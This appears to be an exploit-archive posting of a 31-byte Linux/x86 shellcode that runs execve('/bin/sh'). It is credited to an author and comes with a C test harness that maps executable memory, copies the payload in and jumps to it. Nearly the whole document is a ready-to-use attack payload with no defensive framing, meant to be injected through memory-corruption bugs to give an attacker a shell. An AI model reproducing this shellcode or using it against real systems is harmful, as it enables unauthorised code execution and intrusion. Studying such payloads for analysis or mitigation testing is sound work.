Linux/x86 execve("/bin/sh", [ "/bin/sh", NULL ], NULL) shellcode 31 bytes

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/mman.h>

#include <unistd.h>

/*

* Linux/x86: 31 bytes execve("/bin/sh", [ "/bin/sh", NULL ], NULL) shellcode

*

* tesla_ (gandung@ppp.cylab.cmu.edu)

*/

char *shellcode = "\x31\xc0\x31\xdb\x50\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d"

"\x54\x24\x0c\x8d\x4c\x24\x08\x8d\x1c\x24\xb0\x0b\xcd\x80";

int main(void) {

char (*payload)(size_t a, size_t b, size_t c) __attribute__((regparm(3)));

payload = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);

memcpy(payload, shellcode, strlen(shellcode));

__asm__ __volatile__("call *%%eax"

:

: "r"(payload));

return (0);

}

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